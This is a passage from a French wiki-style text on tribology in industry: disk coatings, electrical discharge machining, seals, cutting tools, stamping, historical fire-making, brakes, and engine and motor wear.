nécessaire la présence d'une couche lubrifiante de haute qualité. Les épaisseurs sont couramment de l'ordre de 5 nm pour la couche de protection et de 2 nm pour la couche lubrifiante. Pendant une opération d'écriture, les têtes « volent » à environ 10 nm au-dessus de la surface magnétique, portées par une couche de gaz constituée par un effet aérodynamique. Il est difficile de diminuer cette épaisseur car cela provoquerait un échauffement prohibitif. Naturellement, lors du démarrage et de l'arrêt, les têtes sont déplacées hors de la surface du disque pour éviter tout « atterrissage ». De nouveaux films devraient permettre d'augmenter la densité de stockage, qui devrait atteindre 1 terabit/pouce<sup>2</sup> vers 2010. === Utilisation de revêtements à base de carbone === Des chercheurs des universités de Cambridge et de Karlsruhe ont publié conjointement une étude sur les films ultralisses de carbone à structure adamantine. Les revêtements doivent être très lisses pour réduire le frottement et prévenir l'usure. Les chercheurs ont expliqué le processus de croissance de ces films de carbone et la raison pour laquelle ils sont pratiquement lisses à l'échelle des atomes. Sans eux, les disques ne pourraient même pas fonctionner, les roulements s'useraient plus vite et les joints d'étanchéité ne tarderaient pas à être endommagés. Le but ultime de ces recherches est toutefois de réaliser des surfaces frottantes adaptées à toutes sortes d'applications comme les machines-outils, l'automobile ou certains dispositifs électroniques. Ces films sont produits avec du carbone ordinaire, c'est l'arrangement des atomes dans les couches de revêtements qui détermine leurs propriétés. Jusqu'à maintenant, la conception de ces films relevait de l'empirisme et de l'expérience accumulée. La moindre rugosité de la couche de carbone nuit à la qualité du stockage d'information. Au fur et à mesure que la densité d'information stockée augmente, l'espace qui sépare la tête de lecture de la surface du disque doit être réduit en proportion et lorsque l'on recherche les meilleures performances possibles chaque couche d'atomes compte. C'est pourquoi les concepteurs et les fabricants de disques veulent comprendre comment les atomes se déposent et comment la couche s'épaissit. D'après les modèles conçus par les chercheurs, les atomes s'empilent, pendant la formation du dépôt, sous forme d'un ensemble ordonné de petits tas, comme du sable que l'on aurait versé sur la surface. Les atomes qui atterrissent ensuite sur cette structure irrégulière entraînent avec eux les autres atomes vers le bas. Il en résulte une sorte d'érosion à l'échelle atomique et la surface extraordinairement lisse évoquée plus haut. Les formules mathématiques qui décrivent ces processus ouvrent une nouvelle voie dans la conception de structures de surfaces « sur mesures ». === Réduction du nombre des couches === La société Fujitsu annonce qu'elle a réussi à réduire à trois le nombre des couches en confiant à la couche extérieure le double rôle de protection et de lubrification. Le traitement fait intervenir un rayonnement ultraviolet de longueur d'onde 200 nm pour assurer l'adhésion de la dernière couche sur le substrat tout en diminuant la capacité d'adsorption de la surface, qui de ce fait se trouve moins polluée par l'humidité et d'éventuelles impuretés. == Électroérosion == La perturbation de la surface est liée directement à la façon dont on utilise le générateur, en particulier la puissance mise en jeu et la durée de l'opération. Plus le temps d'opération est long, meilleur est le résultat final. On note l'existence d'une couche blanche et d'une couche thermiquement affectée. La première est saturée en carbone par des ruptures de molécules des hydrocarbures constituant le diélectrique. La couche blanche est plus importante à la périphérie des cratères qu'au centre. La couche affectée thermiquement l'est d'autant plus qu'il y a resolidification du métal enlevé et non vaporisation, que l'énergie de décharge est élevée et aussi que le métal usiné dissipe plus difficilement les calories. Les contraintes de traction peuvent provoquer des craquelures. Le travail de l'acier et des métaux apparentés provoque un durcissement de la surface. Lors de la fabrication d'outillages (matrices de forge, moules pour matières plastiques ...), il n'est pas certain que l'enlèvement de la couche blanche et de la couche thermiquement affectée lors d'opérations de polissage, par exemple, donne de meilleurs résultats. On cite cet exemple : une matrice de forge en acier rapide usinée par fraisage a tenu 4000 pièces. Une autre ébauchée par fraisage et finie par électroérosion a produit 12 000 pièces. Une troisième usinée par fraisage, finie par électroérosion puis soumise à un traitement thermique de stabilisation a permis de produire le nombre impressionnant de 400 000 pièces ! == Embrayages == Si les garnitures des embrayages automobiles frottent à sec, beaucoup d'embrayages industriels fonctionnent dans l'huile. Un « bon » coefficient de frottement pour le fonctionnement d'un embrayage n'est pas forcément très élevé, on préfère qu'il dépende peu de la pression de contact et de la température, et qu'il croisse légèrement quand la vitesse de glissement augmente afin de diminuer la tendance au stick-slip. L'amiante était un excellent constituant des garnitures d'embrayages et son remplacement par d'autres matériaux moins dangereux pose de gros problèmes, pas toujours bien résolus à l'heure actuelle. == Engrenages == Les formes de dégradation sont extrêmement diversifiées et complexes. Voir l'article détaillé : '''[[Engrenages - Endommagement des dentures]]''' == Étanchéité == La fiabilité des appareils pneumatiques dépend beaucoup de la qualité des joints. Il faut réaliser le meilleur compromis entre les efforts de friction, l'usure et l'absence de fuite, tout en évitant le « collage » à l'arrêt qui demande une énergie supplémentaire au démarrage. Le graphite revêtu de carbure de silicium SiC par CVD permet de construire des glaces d'étanchéité relativement bon marché. Le nitrure de silicium est un bon matériau de frottement pour des joints avec glaces en fonctionnement hydrodynamique. Pour des joints d'étanchéité d'arbres frottant en présence d'eau on a de bons résultats avec le graphite, le composite polyamide-PTFE (Kinel), assez bons avec les matériaux à base d'amiante et de résine phénolique (Railko). En présence d'eau chargée de matières abrasives le polyéthylène à haute densité convient (Cestidur). Pour les segments, voir « Moteurs thermiques ». Attention aussi à la détérioration des arbres par les joints, particulièrement ceux en feutre, qui créent facilement une abrasion à trois corps. == Fabrication mécanique == === Usinage par enlèvement de matière === ==== Outils de coupe en général ==== En 1990, 35 % des outils de coupe utilisés au Japon sont des '''cermets''' contre 5 % en Europe. Les cermets progressent en Europe au détriment des carbures, au Japon c'est l'inverse. Sandvik Coromant et Norton exploitent une technique basée sur la CVD : des plaquettes en carbure métallique ou nitrure de silicium sont revêtues d'une fine couche de diamant (de 2 à 50 micromètres). Deux familles de '''céramiques''' sont utilisées dans les outils de coupe : * l'alumine sous forme « blanche » (pure), « noire », avec 15 à 30 % de carbure de titane, de nitrure de titane, parfois de zircone, ou sous forme de « wiskers », alumine renforcée par des fibres de carbure de silicium * le nitrure de silicium. * le carbure de bore est très cher et son utilisation est très rare. On recherche le meilleur couple métal à usiner/céramique. Il n'existe à ce jour aucune règle précise et chacun a sa recette. Avec les céramiques, on peut atteindre des vitesses de coupe de 500 m/min dans l'acier au lieu de 120 pour les outils carbure, et de 600 m/min dans la fonte grise. Il faut des machines à la fois très puissantes et très rigides, un équilibrage dynamique soigné des broches et des outils est indispensable. Problème : comment déceler l'usure des plaquettes ? Une plaquette de wisker coûte trois fois plus cher qu'un carbure mais l'usinage est trois fois plus rapide. On diminue non pas le coût de l'usinage mais le temps machine. Pendant l'usinage des alliages légers, le copeau emmagasine bien plus de chaleur que l'outil, il faut réduire le frottement et le temps de contact outil-copeau. En usinage extérieur, on tourne très vite pour éliminer les copeaux, en usinage intérieur on peut traiter l'outil par sulfinuzation pour diminuer la quantité de chaleur produite. ==== Perçage ==== Les forets à lubrification interne résolvent beaucoup de problèmes de perçage, en particulier pour les matériaux réputés difficiles à usiner et l'usinage à grande vitesse. Ils sont disponibles aujourd'hui même pour de tous petits diamètres. Par exemple, le foret CrazyDrill Cool ® de Mikron Tool SA Agno est vendu revêtu pour le travail des aciers et non revêtus pour les métaux non ferreux. Les diamètres disponibles vont de 1 à 4 mm et il existe 3 catégories de longueurs : 6.d, 10.d et 15.d. Le fabricant donne un exemple : pour un perçage de diamètre 1,5 mm et de profondeur 22,5 mm dans l’acier inoxydable, il suffit de 3 débourrages lorsque le foret travaille à une vitesse de coupe de 40 à 45 m/min avec une avance de 0,05 mm/tour. ==== Rectification ==== Une meule incorrectement dressée ou mal choisie ne coupe pas et des frottements intenses apparaissent, allant jusqu'à provoquer des tapures dans les cas graves, avec éventuellement des couches de métal retrempé. On estime que 70 à 80 % de l'énergie mise en jeu est dissipée dans la pièce rectifiée. === Déformation plastique à chaud === Les outillages de travail à chaud seraient probablement inutilisables sans les couches d'oxydes qui les protègent. Dans les matrices de forgeage un film d'oxyde FeO se forme lors du « rodage », après exécution d'une dizaine de pièces. Les outillages, soumis à la fatigue thermique qui craquelle leur surface, doivent être refroidis. : La lubrification réduit les efforts en abaissant le coefficient de frottement mais augmente du même coup le glissement du métal et l'usure par abrasion. Les huiles graphitées stabilisent le frottement après quelques dizaines de pièces, des lubrifiants à base d'eau, d'hydrocarbures ou même de sciure, facilitent l'éjection de la pièce en fin de forgeage par effet diesel. ==== Extrusion et filage à chaud ==== Lors de l'extrusion du cuivre les filières en acier non traité sont immédiatement détruites à 15 000 bars et 780°C, mais elles supportent 50 extrusions sans dommage avec un traitement enrichissant la surface en chrome : l'acier à au moins 3 % de carbone est placé pendant 15 heures à 980°C dans un cément à base d'alumine et de chrome, activé par des chlorures, en atmosphère d'hydrogène, puis trempé à l'huile à 1 050 °C. Il en résulte des couches de 10 micromètres de carbures de chrome Cr<sub>7</sub>C<sub>3</sub>, Cr<sub>23</sub>C<sub>6</sub>, dont la dureté dépasse 1500 HV. : L'acier peut être lubrifié par le verre, mais pas le cuivre en raison des couches d'oxydes. ==== Traitement des outillages ==== Un usinage par électroérosion mal conduit peut causer des dommages à la surface des outils, par exemple une retrempe du métal conduisant à l'écaillage. La trempe à cœur est totalement proscrite car elle donne des contraintes résiduelles de traction rendant l'acier inapte non seulement au travail, mais encore à la rectification par suite de sensibilité exagérée à l'échauffement par meulage. Il faut faire les revenus à une température aussi élevée que le permet la dureté voulue pour l'outillage. Pour éviter la décarburation ou la surcarburation, on peut empaqueter les pièces à traiter dans de minces feuilles d'acier inoxydable. === Déformation plastique à froid === ==== Formage des métaux ==== Les contraintes doivent provoquer l'écoulement du métal pour obtenir, avec ou sans perte, des formes nouvelles, des propriétés mécaniques particulières, des états de surface voulus. Les outils voient défiler à leur contact un métal qui se renouvelle. Le frottement qui gène son écoulement est en général néfaste, sauf pour le laminage où il est au contraire utile. : Un film épais de lubrifiant très visqueux ou plastique évite les contacts, abaisse le frottement et l'usure. La rugosité du produit augmente, il est d'aspect mat à la sortie des outils. En lubrification par film mince, le frottement et l'usure sont forts et il faut veiller à la compatibilité des matériaux pour éviter les transferts. Le lubrifiant évacue les calories. La rugosité de la pièce, matée par l'outil très dur, s'améliore et le produit qui sort est brillant. : Il est très difficile de prévoir les rugosités exactes et de calculer les épaisseurs de film. Les modifications de la surface doivent être prises en compte pour les traitements ultérieurs. ==== Travail des métaux en feuilles ==== * Les '''lubrifiants pour le travail des métaux en feuilles''' sont relativement nombreux : ** solutions savonneuses d'oléate et stéarate de sodium ou de potassium déposées à la brosse et rincées ultérieurement, ** émulsions grasses comprenant de 25 à 60 % de graisse dans l'eau, avec éventuellement du talc, de la craie, du mica. ** huiles solubles qui ne supportent qu'une faible pression, avec adjonction de composés de lubrification onctueuse ou extrême pression, mais dans ce dernier cas il faut bien nettoyer sous peine de corrosion, ** huiles minérales avec éventuellement des huiles chlorurées ou sulfurées pour permettre le régime onctueux, ou des composés phosphorés, ** huiles végétales plus onctueuses et efficaces que les huiles minérales mais plus coûteuses et difficiles à nettoyer, ** huiles extrême pression chlorurées ou sulfurées, qui se révèlent souvent très difficiles à éliminer : attention au nettoyage ! ** revêtements de phosphates ou d'oxalates, ou de films solides, savons, polymères, PTFE en feuilles, ** suspension de lubrifiants solides dans l'eau, ** voire ... une simple feuille de papier entre le flan et l'outil, pour des travaux peu sévères. ===== Emboutissage ===== Les frottements sont particulièrement sévères dans les zones où les tôles sont en quelque sorte «avalées» par les outils. Ces zones sont le siège d'importantes dissipations d'énergie et leur état de surface conditionne l'aspect final et la précision géométrique des pièces fabriquées. Les outils d'[[w:fr:emboutissage|emboutissage]] sont soumis à des conditions d'[[Tribologie - Usure des surfaces|usure]] particulièrement sévères et la protection de leur surface contre le grippage et l'abrasion est une nécessité vitale pour les entreprises. Si l'abrasion est un processus relativement prévisible, progressif et rarement catastrophique, il en va tout autrement du grippage qui, à lui seul, est responsable de 20 à 25 % des arrêts de lignes de production. Quand il survient, il impose une reprise des outils pour éliminer le métal transféré, un repolissage, voire le rechargement et/ou un nouveau traitement thermique de la zone touchée. Le personnel chargé de ces opérations est nécessairement d'une haute qualification et au bout du compte l'addition est lourde ! En outre, les pièces portant des rayures ou des traces de grippage doivent être rebutées impitoyablement car, outre leur aspect défectueux, elles présentent des risques de faiblesse mécanique et d'inaptitude à l'usage. Parfois, pour des fabrications où une haute qualité est nécessaire, un tri manuel à 100 % doit être réalisé ... Le grippage résulte de la rupture du film lubrifiant chargé d'éviter le contact du flan et de l'outil. Cette rupture permet aux deux matériaux en présence de constituer des jonctions intermétalliques, autrement dit des microsoudures. Les aciers à haute limite élastique, les [[acier inoxydable|aciers inoxydables]] et surtout les alliages d'[[w:fr:aluminium|aluminium]] sont parmi les matériaux les plus sensibles à ce phénomène, en revanche les tôles électrozinguées ou galvanisées donnent de bien meilleurs résultats grâce aux propriétés anti-adhérentes du dépôt de [[w:fr:zinc|zinc]]. Les parties des outillages les plus sensibles au grippage sont généralement celles qui présentent les plus faibles rayons de courbure, en raison des pressions et des glissements qui s'y produisent. Les zones où la tôle subit une déformation de rétreint propise à la formation de plis sont particulièrement défavorables. Les huiles utilisées en emboutissage représentent des tonnages énormes et posent des problèmes lors des phases suivantes de la fabrication (application de peintures, de colles, de mastics, ...) et lors de leur élimination, car les produits qu'elles contiennent et les agents de dégraissage sont parfois très toxiques. Des états de surface spécifiques permettent de piéger aussi bien les débris d'usure que les lubrifiants, on les obtient en gravant au laser des «puits» de forme appropriée, mais cette solution a des limites, en particulier dans les zones les plus délicates. On s'oriente plutôt aujourd'hui vers des procédés de lubrification sèche et des [[Tribologie - Revêtements anti-usure|revêtements]] appropriés que l'on met en œuvre sur les outils. Il s'agit essentiellement de dépôts physiques en phase vapeur (Physical Vapor Deposition ou PVD) de nitrure de titane TiN, de carbonitrure de titane TiCN et de nitrure de chrome CrN. Les grippages sont pratiquement supprimés, la durée de vie des outillages est multipliée dans des proportions énormes, pouvant aller jusqu'à 20 fois. La lubrification peut être totalement supprimée ou, dans les cas les plus difficiles, limitée à une pulvérisation au niveau des seules zones à risque. == Feu (production) == Dans de nombreux sites archéologiques (grotte de l'Escale, de Nice, de Tautavel, de Lunel-Viel) on a retrouvé des traces de foyers prouvant qu'une parfaite maîtrise du feu a été obtenue depuis 250 000 à 300 000 ans. En revanche on ne sait pas si ce feu était fabriqué ou « récolté », puis conservé et tansporté, à l'occasion d'incendies de forêts allumés par la foudre. Pendant très longtemps, en effet, on a préféré transporté le feu plutôt que de l'allumer. Au XIXe siècle, en Europe, il était encore fréquent que l'on emprunte un tison à son voisin lorsque le feu de la maison s'éteignait. === Les briquets à percussion === Les plus anciens briquets connus remontent à l'âge du fer. L'époque romaine nous en a laissé beaucoup, ainsi que divers sites en Bulgarie (IXe - Xe siècle). Un peu partout dans le monde, les briquets ont stimulé la créativité des hommes et certains sont de véritables oeuvres d'art constituées de métaux précieux et richement ornées de pierres ou de corail. Les briquets à silex ont été rapidement oubliés en Europe mais ils étaient très répandus dans les régions isolées au milieu du XXe siècle et on les trouve encore en Afrique. Une lame métallique frappant le silex, ou frappée par lui, provoque la formation d'étincelles. Les aciers nitrurés, parfois par l'action de l'urine, donnent les meilleurs résultats. Contrairement à une idée fausse mais très répandue, le frottement de deux silex n'est pas très efficace et les briquets préhistoriques utilisaient plutôt le choc d'un morceau de silex sur un bloc de pyrite ou de marcassite (sulfures naturels de fer FeS<sub>2</sub> cristallisés respectivement dans le système cubique et dans le système orthorhombique). Les étincelles engendrées par le choc du silex et de la marcassite, ou de la marcassite contre elle-même, persistent longtemps à cause de la présence du soufre. Des éléments de briquets à marcassite, datés de 13 000 ans environ, ont été retrouvés en Belgique. L'homme retrouvé résemment dans un glacier autrichien portait sur lui un morceau de pyrite et un amadouvier, le champignon qui fournit la matière inflammable appelée amadou. Dans tous les cas, le frottement brutal du silex sur l'acier ou la marcassite arrache des particules combustibles qui constituent des étincelles. Ces dernières, tombant sur des matériaux faciles à enflammer, permettent d'obtenir le feu recherché. Les étincelles produites par le silex, matériau incombustible, ne durent pas assez longtemps et sont trop «froides» pour obtenir ce résultat. En France on a "battu le briquet" jusqu'à la guerre de 1914-1918. Le feu se faisait à l'aide d'une boîte de fer blanc contenant un morceau de silex (la pierre à feu ou pierre à fusil), un morceau d'acier ou briquet (le fusil) et un produit inflammable comme l'amadou ou plus communément des chiffons calcinés. Une fois assis, on serrait la boîte entre les genoux. La main gauche tenait fermement la pierre, dans la boîte, le plus près possible des chiffons. On frappait la pierre avec le briquet jusqu'à ce qu'une étincelle plus forte que les autres vienne s'accrocher aux chiffons et y former un point incandescent sur lequel il fallait alors souffler adroitement. Le véritable amadou est tiré de l'amadouvier, un champignon de type polypore qui pousse sur les vieux troncs d'arbres. Industriellement, on l'imprégnait de salpêtre (nitrate de potassium) pour en faciliter la combustion. D'autres traitements plus artisanaux étaient également utilisés, selon les ressources locales. === Les briquets à friction === La transformation par frottement de l'énergie mécanique en chaleur a été largement utilisée un peu partout dans le monde pour la production du feu. Cependant, contrairement à l'utilisation des chocs, elle est largement associée, dans beaucoup de civilisations, à des rites festifs, familiaux, religieux ou sexuels. La prétendue nécessité de faire frotter un bois dur sur un bois tendre (l'un «mâle» et l'autre «femelle») relève en grande partie du mythe et l'expérience la contredit largement. En fait deux pièces de bois de même nature donnent de meilleurs résultats mais font moins appel aux fantasmes et au symbole du feu associé à l'acte sexuel. Les bois tendres, surtout s'ils ont une structure très fibreuse comme le saule et le tilleul, sont préférables aux autres. La rotation d'une baguette verticale sur une planchette horizontale est le procédé le plus courant. De la sciure est produite, elle se trouve rassemblée dans une encoche de la planchette et c'est elle que la chaleur produite par le frottement va embraser. Elle joue en même temps le rôle d'un isolant thermique pour conserver les calories dans la zone frottante. La rotation par action directe des mains est très fatigante, peu efficace, la production du feu demande plusieurs minutes. Avec un archet on obtient une rotation bien plus rapide et le feu apparaît au bout de 2O à 30 secondes. L'utilisation de planchettes et de forets à feu est attestée par des vestiges datant de 10 000 ans dans les Andes péruviennes. == Freins == === Systèmes de commande === Les recherches sur les freins automobiles électrohydrauliques semblent abandonnées. Tous les équipementiers automobiles travaillent actuellement au remplacement des freins à commande hydraulique par des dispositifs électromécaniques. Dans les freins EMB (Electro Mechanical Brake), les plaquettes ne seront plus serrées par des pistons mais par des actionneurs électriques placés directement dans les étriers. On en attend une augmentation générale des performances et l'élimination des éléments hydrauliques, qui sont une importante source de pollution. Le principal problème à résoudre est de concilier une fiabilité quasi absolue avec un coût de revient acceptable. L'équipementier allemand Bosch estime qu'il n'existe pas en 2005 d'actionneur électrique développant des efforts suffisants pour le pincement des plaquettes et n'envisage pas le développement de ce mode de freinage avant 2010. Il travaille sur des étriers auto-serrants, dans lesquels les efforts de frottement participent eux-mêmes au serrage. Un autre équipementier, Delphi, confirme l'insuffisance des actionneurs électriques actuels et s'oriente vers des systèmes à deux disques flottants. Ces freins dits MTB (Maximum Torque Brake) possèdent donc quatre surfaces de freinage. Ils devraient procurer des couples de freinage très élevés avec un refroidissement meilleur que pour les freins conventionnels et des masses diminuées. Les recherches actuelles se poursuivent sur des systèmes fonctionnant en 12 V, le passage en 42 volts étant sans cesse repoussé. Les freins électromécaniques ne devraient pas être vraiment industrialisés avant 2010-2012. === Mode d'action des freins === D'autres études concernent le '''freinage d'urgence''' des automobiles. Le Professeur Peter Reimann et ses collaborateurs, de l'Université de Bielfeld en Allemagne, constatant que les techniques actuelles de freinage se fondent essentiellement sur des lois empiriques et non sur la théorie, espèrent améliorer notre compréhension des phénomènes de frottement à l'échelle moléculaire. Le modèle qu'ils ont établi suggère qu'au fur et à mesure que la vitesse de glissement de deux corps augmente, les forces de frottement commencent par croître, puis atteignent un maximum et ensuite décroissent. La conséquence immédiate est que la plus courte distance d'arrêt n'est obtenue ni en écrasant la pédale de frein et en bloquant les roues, ni en utilisant le système ABS qui empêche tout blocage. Un compromis entre ces deux méthodes semble bien être la solution la plus pertinente pour s'arrêter le plus rapidement possible. Il n'est peut-être pas inutile de rappeler ici que contrairement à une idée reçue et plus ou moins entretenue par certaines publicités, le système ABS est parfaitement incapable de raccourcir les distances de freinage ; en revanche il permet au conducteur inexpérimenté de conserver une certaine maîtrise de sa trajectoire. === Matériaux nouveaux === D'autres recherches concernent les matériaux, en particulier les [[w:fr:céramique|céramique]]s. Leur coût élevé les réserve pour l'instant à la compétition et à quelques automobiles de grand luxe (Audi, Ferrari, Porsche). Le matériau le mieux approprié pour la fabrication des disques est le [[w:fr:carbure de silicium|carbure de silicium]], matériau très dur, résistant à l'abrasion, dont la structure est similaire à celle du diamant. La résistance de ces disques est améliorée par l'incorporation de fibres de carbone. Il en résulte un coefficient de frottement très stable, peu sensible aux conditions météorologiques ou à l'échauffement. Audi annonce que les disques de l'A8 dureront 300 000 km, soit quatre fois la durée de vie de disques conventionnels en acier, avec un niveau sonore très abaissé. Il s'agit d'un équipement optionnel, compte tenu du coût. == Hydroélectricité == La lubrification des axes des distributeurs hydrauliques, des turbines et des vannes est très aléatoire car les vitesses de glissement sont insuffisantes. Le PTFE s'impose, en présence d'axes chromés ou métallisés par de l'acier à 13 % de chrome, par sa facilité de montage et d'accommodement. Les frottements sont diminués dans un rapport de 3 à 6. La rugosité ne doit pas dépasser 0,8 micromètre. Le PTFE chargé de bronze ou associé aux tissus de verre est également utilisable. == Machines agricoles == La résistance des losanges de charrues est améliorée par des traitements de diffusion métallique. == Micromécanique == C'est un domaine spécial en tribologie par les très faibles énergies disponibles et la nécessité d'un fonctionnement sous très faible charge, sans entretien, pendant plusieurs années. Les matériaux ont souvent un très haut module d'élasticité, comme le rubis, ou un très bas comme les plastiques. Les pressions de Hertz très élevées provoquent un fort accommodement en début de fonctionnement, les atmosphères sont souvent difficiles. Les effets physico-chimiques prennent le pas sur les effets mécaniques. Les problèmes essentiels sont le maintien en place et la stabilité de très faibles quantités de lubrifiants dont la très grande propreté des pièces favorise l'étalement. Les coefficients de frottement en lubrification sèche ne sont pas assez bas, on est presque toujours en conditions limites et la viscosité joue un rôle négligeable. Pour des questions de tension superficielle, la tenue des huiles est heureusement rendue possible par la présence d'impuretés et celle, dans les lubrifiants, d'acides gras polaires. On peut utiliser avec succès les silicones : méthylalkoylspolysiloxanes et diméthylpolysiloxanes. La présence d'oxydes métalliques est un facteur favorable à la formation de couches adhérentes. == Moteurs électriques == Les balais en graphite artificiel frottent sur le cuivre des collecteurs sous faible pression, 0,2 bar, avec une densité de courant de quelques dizaines d'ampères par cm<sup>2</sup>. Le frottement est plus faible pendant le passage du courant. Il faut éviter une trop faible densité de courant qui conduit au glaçage des surfaces avec une très grande résistance électrique et de risques mécaniques : l'usure faible au début, avec production de bruit et de vibrations, devient vite catastrophique. Pour les moteurs destinés à tourner souvent à vide, on doit utiliser des balais légèrement abrasifs pour maintenir une certaine rugosité. L'aluminium cuivré est insuffisant pour les applications industrielles. Les collecteurs en aluminium traité Zinal ont donné des résultats assez dispersés, le coefficient de frottement tend vers 0,2, celui du frottement graphite sur graphite. Avec un collecteur en AU4G le coefficient de frottement diminue avec l'intensité, ce qui semble dû à l'échauffement. L'usure des balais dépend directement de la rugosité de la bague collectrice. Inversement, l'usure de la bague est indépendante de sa rugosité, ceci sans courant. L'utilisation de collecteurs en aluminium est possible à condition d'utiliser un revêtement de surface composé de 60 % de cuivre et 40 % d'indium. Cette solution est meilleure que celle du cuivre massif pour l'usure et la résistance à l'étincelage, à peine un peu moins bonne sur le plan de la conduction électrique. == Moteurs thermiques == L'une des causes importantes de dégradation est le phénomène de '''cliquetis''' dû à l'auto-inflammation brutale dans les cylindres de la partie des gaz comprimés en avant du front de flamme. Il dépend de la construction du moteur, de la position de la bougie, du taux de compression, de la nature du carburant et de la richesse du mélange, du régime moteur, des températures, etc. Les ondes de pression ainsi créées peuvent détruire la couche limite de lubrifiant qu recouvre les parois dont la température augmente par suite de l'intensification des échanges thermiques. De plus, à force de marteler les grains métalliques superficiels, ceux-ci se déchaussent et des cratères d'érosion apparaissent généralement dans la zone à l'opposé de la bougie. Le joint de culasse, le segment de feu, l'isolant des électrodes centrales de bougies peuvent également être endommagés. Le frottement a un effet considérable sur le rendement : un très bon moteur de poids lourd y perd 20 % de sa propre puissance. La longévité est très diminuée par les dépôts dus aux lubrifiants et essentiellement par le gommage du segment de feu, et limitée par l'usure progressive des éléments et des surfaces frottantes vitales. * Le '''contact segment-cylindre''' subit l'usure adhésive douce ou sévère (rayage ou scuffing), l'usure abrasive et l'usure corrosive. Le polissage du cylindre augmente la consommation d'huile et va jusqu'au grippage. * Les '''segments de feu''' sont maintenant en fonte GS ou semi-malléable durcie par des carbures, plutôt qu'en fonte à graphite lamellaire. Ils sont généralement chromés, mais le chrome qui fond à 1860°C devient insuffisant, en particulier sur les moteurs diesel suralimentés, et se fissure facilement. On le remplace de plus en plus par le molybdène qui fond à 2620°C et que l'on dépose généralement au chalumeau, malgré les progrès du dépôt par plasma. Les couches sont poreuses, feuilletées, riches en oxydes, et retiennent l'huile. Le plasma en atmosphère neutre donne des couches moins oxydées, moins poreuses, plus denses et adhérentes, qui résistent mieux à l'abrasion mais peuvent user les cylindres. Le molybdène a toutefois atteint ses limites et sera probablement remplacé dans les prochaines années par des matériaux déposés au plasma : cermets, céramiques, métaux réfractaires. * Les '''segments râcleurs''' ou étancheurs sont le plus souvent en fonte grise phosphoreuse à graphite lamellaire. * '''Cylindres et chemises''' : les cylindres sont généralement non chemisés, sauf en France où l'on trouve beaucoup de chemises mobiles humides. : Les chemises sont souvent en fonte perlitique à graphite lamellaire non traitée ou en fonte au titane. Aux États-Unis et en Grande-Bretagne, on utilise beaucoup la fonte bainitique trempée. La fonte à graphite lamellaire a des propriétés optimales si le graphite est uniformément réparti ; la centrifugation donne un grain fin plus sensible à l'usure adhésive que les structures grossières. L'eutectique phosphoreux donne une bonne résistance à l'usure et au grippage et peut emmagasiner une certaine quantité d'huile dans son réseau, mais il est fragile, sensible à la corrosion et plus ou moins incompatible avec les revêtements de molybdène au plasma. On limite la teneur des fontes en éléments d'alliage à cause du coût de revient. : Outre le grippage qui a comme on s'en doute des conséquences catastrophiques pour la vie du moteur, l'une des causes d'usure fréquentes des chemises est la délamination, qui est le déchaussement suivi de l'élimination de plaques minuscules limitées par des lamelles de graphite. * L''''usinage de finition des cylindres ou des chemises''' se fait au mieux par pierrage ou par honing avec des outils en carbure de silicium (carborundum) dans un liant relativement friable. La coupe est franche car les grains renouvelés par l'usure des pierres ont des arêtes vives, les lamelles de graphite et l'eutectique phosphoreux affleurent à la surface, mais les outils doivent être fréquemment reprofilés. : Les outils diamantés, presque inusables, sont très appréciés, mais les grains de diamant bien implantés dans un métal fritté s'émoussent et refoulent le métal plutôt qu'ils ne le coupent. Les surfaces littéralement « tartinées » perdent l'influence favorable des lamelles de graphite, ces dernières étant recouvertes. La surface « tôlée » frotte mal, la rétention d'huile est mauvaise et la consommation de lubrifiant croît mais le revêtement de molybdène du segment de feu s'en accommode. : Pour accélérer le rodage, on préconise des états de surface dits en plateau où se superposent deux rugosités, la courbe de portance d'Abbott-Firestone présente alors un point anguleux. Les chemises peuvent subir des traitements comme l'imprégnation de carbures, surtout de silicium, le durcissement par trempe au laser, la nitruration ionique ou le Sur-sulf, ou encore des dépôts ioniques tels que la boruration. * '''Contact flanc de segment-gorge de piston''' : on y trouve de l'usure adhésive et du matage. * '''Contact piston-cylindre''' : l'usure normale produit des rayures, l'usure abrasive fine polit les surfaces, l'usure adhésive sévère peut engendrer le grippage. Le revêtement chimique de plomb sur les pistons, fréquemment utilisé en Allemagne, est condamné à terme pour des raisons d'hygiène du travail. * '''Contact came-poussoir ou patin de basculeur''' : il est le siège d'une usure adhésive douce ou sévère (scuffing), ou de piquage par fatigue. * Les '''cames''' en fonte coulées sur refroidisseurs ont une structure de fonte blanche très riche en cémentite sur 3 à 4 mm d'épaisseur, le reste, non trempé, est en fonte perlitique. La résistance à l'usure abrasive et adhésive est bonne malgré une certaine fragilité et une sensibilité au piquage. Généralement il n'y a pas d'autre traitement de surface. Les cames en fonte grise perlitique trempées au chalumeau ou par induction résistent moins à l'usure mais mieux à la fatigue. Très souvent, on pratique une nitruration douce ou le Tenifer après la trempe par induction. * Les '''poussoirs''' coulés sur refroidisseurs comportent alors de 2 à 4 mm de fonte blanche sur le plateau. On utilise également la fonte GS trempée superficiellement et phosphatée, les aciers XC 42 traité, XC 8 cémenté, ou 32 CDV 13 plus noble, trempé et presque toujours traité superficiellement par nitruration gazeuse, cémentation, phosphatation ou ferroxage. * Les '''paliers''' des '''têtes de bielles''' et des '''lignes d'arbre''' peuvent subir l'usure adhésive sévère (grippage), le rayage et l'érosion par abrasion, le piquage et l'écaillage par fatigue, la corrosion, la cavitation, la corrosion de contact au dos. : De nouveaux alliages aluminium-plomb contenant de 8 à 8,5 % de plomb, 4 % de silicium, 1,5 % d'étain et 1 % de cuivre, seraient supérieurs en fatigue aux coussinets classiques aluminium-étain et aussi résistants à la corrosion. Les '''vilebrequins''' en acier sont souvent remplacés par de la fonte traitée superficiellement. == Moulage des matières plastiques == L'éjection des pièces moulées est toujours une opération délicate, les pièces encore chaudes n'ont pas atteint leurs performances mécaniques optimales et il faut les faire sortir avec précaution hors du moule grâce à de petits poussoirs appelés éjecteurs. Ces éjecteurs fonctionnent dans des conditions souvent délicates : les matériaux moulés contiennent souvent des charges abrasives, certains de leurs composants peuvent être corrosifs, par ailleurs ils doivent pouvoir coulisser à chaud dans le corps du moule sans lubrification, du moins au sens courant du terme. Des températures de l'ordre de 200 °C leur sont souvent fatales. La Société Rabourdin fabrique diverses sortes d'éjecteurs. Les plus élaborés sont constitués d'acier inoxydable à 17 % de chrome traité par carbonitruration, puis ils subissent une finition par rodage. D'autres sont conçus pour présenter les plus bas coefficients de frottement possible en l'absence de lubrification permanente. Les éjecteurs RINOX supportent des températures de fonctionnement allant jusqu’à 500 °C, leur surface est entièrement rectifiée. == Oléoducs == L'industrie pétrolière consomme des quantités d'énergie considérables pour extraire le pétrole brut mais aussi 